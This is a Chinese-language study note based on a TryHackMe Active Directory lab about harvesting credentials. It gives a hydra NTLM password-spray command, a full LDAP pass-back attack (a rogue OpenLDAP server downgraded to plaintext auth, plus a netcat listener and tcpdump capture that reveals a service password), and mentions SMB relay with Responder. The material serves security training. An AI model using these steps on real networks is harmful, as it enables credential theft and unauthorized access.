OSINT 和 网络钓鱼

我们可以利用 OSINT 和网络钓鱼来收集用户密码

NetNTLM

NetNTLM

在 NetNTLM 中我们可以使用收集到的密码或用户进行暴力攻击,以此来获取用户的密码,举一个例子:

AD 凭证收集 - 图1

  1. hydra -I -V -L ./usernames.txt -p 'Changeme123' ntlmauth.za.tryhackme.com http-get '/:A=NTLM:F=401'

LDAP Bind Credntials

LDAP

LDAP 回传攻击

这是一种针对网络设备 (打印机) 的常见攻击。

当我们获得对指定 LDAP 参数的设备配置的访问权限时,可以执行 LDAP 回传攻击。例如,这可以是网络打印机的 Web 界面。通常,这些接口的凭据保留为默认凭据,例如admin:adminadmin:password。在这里,我们将无法直接提取 LDAP 凭据,因为密码通常是隐藏的。但是,我们可以更改 LDAP 配置,例如 LDAP 服务器的 IP 或主机名。在 LDAP 回传攻击中,我们可以将此 IP 修改为我们的 IP,然后测试 LDAP 配置,这将强制设备尝试对我们的恶意设备进行 LDAP 身份验证。我们可以拦截此身份验证尝试以恢复 LDAP 凭据。

执行 LDAP 回传攻击

打印机管理网站

使用浏览器检查,我们还可以验证打印机网站是否至少足够安全,不只是将 LDAP 密码发送回浏览器:

AD 凭证收集 - 图3

所以我们有用户名,但没有密码。但是,当我们按下测试设置时,我们可以看到向域控制器发出了身份验证请求以测试 LDAP 凭据。让我们尝试利用它让打印机连接到我们,这会泄露凭据。为此,让我们使用一个简单的 Netcat 侦听器来测试我们是否可以让打印机连接到我们。由于LDAP的默认端口是389,我们可以使用如下命令:
  1. [thm@thm]$ nc -lvp 389
  2. listening on [any] 389 ...
  3. 10.10.10.201: inverse host lookup failed: Unknown host
  4. connect to [10.10.10.55] from (UNKNOWN) [10.10.10.201] 49765
  5. 0?DC?;
  6. ?
  7. ?x
  8. objectclass0?supportedCapabilities
响应supportedCapabilities告诉我们有问题。本质上,在打印机发送凭据之前,它会尝试协商 LDAP 身份验证方法的详细信息。它将使用此协商来选择打印机和 LDAP 服务器都支持的最安全的身份验证方法。如果身份验证方法过于安全,则不会以明文形式传输凭据。使用某些身份验证方法,凭据根本不会通过网络传输!所以我们不能只使用普通的 Netcat 来获取凭据。我们需要创建一个流氓 LDAP 服务器并对其进行不安全的配置,以确保凭据以明文形式发送。

托管恶意 LDAP 服务器

我们应该先安装自己的 OpenLDAP 服务器:

  1. sudo apt-get update && sudo apt-get -y install slapd ldap-utils && sudo systemctl enable slapd

然后我们创建一个 ldif 文件用户配置 LDAP 服务器:

  1. dn: cn=config
  2. replace: olcSaslSecProps
  3. olcSaslSecProps: noanonymous,minssf=0,passcred
  • olcSaslSecProps:指定 SASL 安全属性
  • noanonymous:禁用支持匿名登录的机制
  • minssf:指定可接受的最小安全强度,0表示不保护。
使用我们的配置文件配置 LDAP 服务器:
  1. sudo ldapmodify -Y EXTERNAL -H ldapi:// -f ./olcSaslSecProps.ldif && sudo service slapd restart

验证:

  1. [thm@thm]$ ldapsearch -H ldap:// -x -LLL -s base -b "" supportedSASLMechanisms
  2. dn:
  3. supportedSASLMechanisms: PLAIN
  4. supportedSASLMechanisms: LOGIN

验证成功后我们开始捕捉:

  1. [thm@thm]$ sudo tcpdump -SX -i breachad tcp port 389
  2. tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
  3. listening on eth1, link-type EN10MB (Ethernet), snapshot length 262144 bytes
  4. 10:41:52.979933 IP 10.10.10.201.49834 > 10.10.10.57.ldap: Flags [P.], seq 4245946075:4245946151, ack 1113052386, win 8212, length 76
  5. 0x0000: 4500 0074 b08c 4000 8006 20e2 0a0a 0ac9 E..t..@.........
  6. 0x0010: 0a0a 0a39 c2aa 0185 fd13 fedb 4257 d4e2 ...9........BW..
  7. 0x0020: 5018 2014 1382 0000 3084 0000 0046 0201 P.......0....F..
  8. 0x0030: 0263 8400 0000 3d04 000a 0100 0a01 0002 .c....=.........
  9. 0x0040: 0100 0201 7801 0100 870b 6f62 6a65 6374 ....x.....object
  10. 0x0050: 636c 6173 7330 8400 0000 1904 1773 7570 class0.......sup
  11. 0x0060: 706f 7274 6564 5341 534c 4d65 6368 616e portedSASLMechan
  12. 0x0070: 6973 6d73 isms
  13. 10:41:52.979938 IP 10.10.10.57.ldap > 10.10.10.201.49834: Flags [.], ack 4245946151, win 502, length 0
  14. 0x0000: 4500 0028 247d 4000 4006 ed3d 0a0a 0a39 E..($}@.@..=...9
  15. 0x0010: 0a0a 0ac9 0185 c2aa 4257 d4e2 fd13 ff27 ........BW.....'
  16. 0x0020: 5010 01f6 2930 0000 P...)0..
  17. 10:41:52.980162 IP 10.10.10.57.ldap > 10.10.10.201.49834: Flags [P.], seq 1113052386:1113052440, ack 4245946151, win 502, length 54
  18. 0x0000: 4500 005e 247e 4000 4006 ed06 0a0a 0a39 E..^$~@.@......9
  19. 0x0010: 0a0a 0ac9 0185 c2aa 4257 d4e2 fd13 ff27 ........BW.....'
  20. 0x0020: 5018 01f6 2966 0000 3034 0201 0264 2f04 P...)f..04...d/.
  21. 0x0030: 0030 2b30 2904 1773 7570 706f 7274 6564 .0+0)..supported
  22. 0x0040: 5341 534c 4d65 6368 616e 6973 6d73 310e SASLMechanisms1.
  23. 0x0050: 0405 504c 4149 4e04 054c 4f47 494e ..PLAIN..LOGIN
  24. [....]
  25. 10:41:52.987145 IP 10.10.10.201.49835 > 10.10.10.57.ldap: Flags [.], ack 3088612909, win 8212, length 0
  26. 0x0000: 4500 0028 b092 4000 8006 2128 0a0a 0ac9 E..(..@...!(....
  27. 0x0010: 0a0a 0a39 c2ab 0185 8b05 d64a b818 7e2d ...9.......J..~-
  28. 0x0020: 5010 2014 0ae4 0000 0000 0000 0000 P.............
  29. 10:41:52.989165 IP 10.10.10.201.49835 > 10.10.10.57.ldap: Flags [P.], seq 2332415562:2332415627, ack 3088612909, win 8212, length 65
  30. 0x0000: 4500 0069 b093 4000 8006 20e6 0a0a 0ac9 E..i..@.........
  31. 0x0010: 0a0a 0a39 c2ab 0185 8b05 d64a b818 7e2d ...9.......J..~-
  32. 0x0020: 5018 2014 3afe 0000 3084 0000 003b 0201 P...:...0....;..
  33. 0x0030: 0560 8400 0000 3202 0102 0418 7a61 2e74 .`....2.....za.t
  34. 0x0040: 7279 6861 636b 6d65 2e63 6f6d 5c73 7663 ryhackme.com\svc
  35. 0x0050: 4c44 4150 8013 7472 7968 6163 6b6d 656c LDAP..password11

TryHackMe | Breaching Active Directory

中间人攻击

:::tips 我们使用 SMB 举例:

两种不同的利用 SMB 进行 NetNTLM 身份验证的方法:
  • 由于NTLM Challenges可以被拦截,我们可以使用离线破解技术来恢复与NTLM Challenge相关的密码。然而,这个破解过程比直接破解 NTLM 哈希要慢得多。
  • 我们可以使用我们的流氓设备进行中间人攻击,在客户端和服务器之间中继 SMB 身份验证,这将为我们提供一个活动的身份验证会话和对目标服务器的访问。

:::

我们可以使用 Responder 进行中间人攻击,详情请看原文:

TryHackMe | Breaching Active Directory

MDT

MDT

配置文件

TryHackMe | Breaching Active Directory

参考

TryHackMe | Breaching Active Directory